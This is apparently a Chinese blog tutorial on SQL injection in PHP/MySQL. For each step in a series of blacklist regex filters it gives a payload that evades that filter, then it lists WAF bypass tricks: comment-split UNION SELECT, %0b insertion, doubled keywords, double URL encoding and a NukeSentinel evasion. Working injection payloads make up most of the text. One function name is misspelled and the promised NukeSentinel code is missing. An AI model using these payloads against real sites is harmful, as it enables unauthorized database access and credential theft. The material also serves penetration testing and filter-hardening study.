PHP+Mysql注入防护与绕过
黑名单关键字过滤与绕过
过滤关键字and、or
PHP匹配函数代码如下:
preg_match('/(and|or)/i', $id)
如何Bypass,过滤注入测试语句:
1 or 1 = 1 1 and 1 = 1
测试方法可以替换为如下语句测试:
1 || 1 = 1 1 && 1 = 1
过滤关键字and, or, union
PHP匹配函数代码如下:
preg_match('/(and|or|union)/i', $id)
如何Bypass,过滤注入测试语句:
union select user, password from users
测试方法可以替换为如下语句测试:
1 || (select user from users where user_id = 1) = 'admin'
过滤关键字and, or, union,where
PHP匹配函数代码如下:
preg_match('/(and|or|union|where)/i', $id)
如何Bypass,过滤注入测试语句:
1 || (select user from users where user_id = 1) = 'admin'
测试方法可以替换为如下语句测试:
1 || (select user from users limit 1) = 'admin'
过滤关键字and, or, union,where,limit
PHP匹配函数代码如下:
preg_match('/(and|or|union|where|limit)/i', $id)
如何Bypass,过滤注入测试语句:
1 || (select user from users limit 1) = 'admin'
测试方法可以替换为如下语句测试:
1 || (select user from users group by user_id having user_id = 1) = 'admin'
过滤关键字and, or, union,where,limit,group by
PHP匹配函数代码如下:
preg_match('/(and|or|union|where|limit|group by)/i', $id)
如何Bypass,过滤注入测试语句:
1 || (select user from users group by user_id having user_id = 1) = 'admin'
测试方法可以替换为如下语句测试:
1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1
过滤关键字and, or, union,where,limit,group by,select
PHP匹配函数代码如下:
preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
如何Bypass,过滤注入测试语句:
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
测试方法可以替换为如下语句测试:
1 || 1 = 1 into outfile 'result.txt' 1 || substr(user,1,1) = 'a'
过滤关键字and, or, union,where,limit,group by,select,'
PHP匹配函数代码如下:
preg_match('/(and|or|union|where|limit|group by|select|')/i', $id)
如何Bypass,过滤注入测试语句:
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
测试方法可以替换为如下语句测试:
1 || user_id is not null 1 || substr(user,1,1) = 0x61 1 || substr(user,1,1) = unhex(61)
过滤关键字and, or, union,where,limit,group by,select,',hex
PHP匹配函数代码如下:
preg_match('/(and|or|union|where|limit|group by|select|'|hex)/i', $id)
如何Bypass,过滤注入测试语句:
1 || substr(user,1,1) = unhex(61)
测试方法可以替换为如下语句测试:
1 || substr(user,1,1) = lower(conv(11,10,36))
过滤关键字and, or, union,where,limit,group by,select,',hex,substr
PHP匹配函数代码如下:
preg_match('/(and|or|union|where|limit|group by|select|'|hex|substr)/i', $id)
如何Bypass,过滤注入测试语句:
1 || substr(user,1,1) = lower(conv(11,10,36))
测试方法可以替换为如下语句测试:
1 || lpad(user,7,1)
过滤关键字and, or, union,where,limit,group by,select,',hex, substr, white space
PHP匹配函数代码如下:
preg_match('/(and|or|union|where|limit|group by|select|'|hex|substr|s)/i', $id)
如何Bypass,过滤注入测试语句:
1 || lpad(user,7,1)
测试方法可以替换为如下语句测试:
1%0b||%0blpad(user,7,1)
部分WAF绕过技巧
1、绕过部分WAF
/news.php?id=1+un/*/ion+se/*/lect+1,2,3--
2、匹配正则如下:
/unionsselect/g
绕过方式:
/news.php?id=1+UnIoN//SeLecT//1,2,3--
3、过滤一次关键字
/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
4、关键字被过滤,有的时候可以用%0b插入关键字绕过
/news.php?id=1+uni%0bon+se%0blect+1,2,3--
5、对于Mod_rewrite的作用使得/**/不起作用时可以使用%0b代替
替换前:
/main/news/id/1//||//lpad(first_name,7,1).html
替换后:
/main/news/id/1%0b||%0blpad(first_name,7,1).html
6、大多数的CMS和WAF会对用户输入进行解码然后过滤,但有些只解码一次,我们可以对payload进行多次编码然后测试
/news.php?id=1%252f%252a/union%252f%252a /select%252f%252a/1,2,3%252f%252a/from%252f%252a/users--
真实的例子
NukeSentinel
Nukesentinel.php
的代码如下:
针对上面的防护,使用如下测试语句将被拦截:
/php-nuke/?//union//select…
可以使用如下语句代替:
/php-nuke/?/%2A%2A/union/%2A%2A/select… /php-nuke/?%2f%2funion%2f%2fselect…
- 这个Spring高危漏洞,你修补了吗?
- 详析JSONP跨域
- Android Binder漏洞挖掘技术与案例分享
- Stanford机器学习笔记-5.神经网络Neural Networks (part two)
- 监控平台前端SDK开发实践
- 一步步实现静态页面布局
- Stanford机器学习笔记-3.Bayesian statistics and Regularization
- 在R中使用支持向量机(SVM)进行数据挖掘
- 【你问我答】你与Java大牛的距离,只差这24个问题
- Android漏洞扫描工具Code Arbiter
- Huawei HG532 系列路由器远程命令执行漏洞分析
- postMessage与postMessage跨域
- 【手把手教你做项目】自然语言处理:单词抽取/统计
- D-Link系列路由器漏洞挖掘入门
- MySQL 教程
- MySQL 安装
- MySQL 管理与配置
- MySQL PHP 语法
- MySQL 连接
- MySQL 创建数据库
- MySQL 删除数据库
- MySQL 选择数据库
- MySQL 数据类型
- MySQL 创建数据表
- MySQL 删除数据表
- MySQL 插入数据
- MySQL 查询数据
- MySQL where 子句
- MySQL UPDATE 查询
- MySQL DELETE 语句
- MySQL LIKE 子句
- mysql order by
- Mysql Join的使用
- MySQL NULL 值处理
- MySQL 正则表达式
- MySQL 事务
- MySQL ALTER命令
- MySQL 索引
- MySQL 临时表
- MySQL 复制表
- 查看MySQL 元数据
- MySQL 序列 AUTO_INCREMENT
- MySQL 处理重复数据
- MySQL 及 SQL 注入
- MySQL 导出数据
- MySQL 导入数据
- MYSQL 函数大全
- MySQL Group By 实例讲解
- MySQL Max()函数实例讲解
- mysql count函数实例
- MYSQL UNION和UNION ALL实例
- MySQL IN 用法
- MySQL between and 实例讲解
- python六十六课——单元测试(二)
- Linux企业生产常见问题集合(一)答案
- python六十八课——网络编程之UDP协议
- python六十九课——网络编程之TCP协议
- Linux扩容分区操作过程
- python第七十课——python2与python3的一些区别
- Linux运维必会的100道MySql面试题之(一)
- Linux运维必会的100道MySql面试题之(二)
- Apache服务的反向代理及负载均衡配置
- Linux系统集群架构线上项目配置实战(二)
- Linux系统集群架构线上项目配置实战(三)
- Linux系统集群架构线上项目配置实战(四)
- Linux系统集群架构线上项目配置实战 五(完结篇)
- 生产Mysql数据库数据恢复实战过程
- voliate工作实际应用场景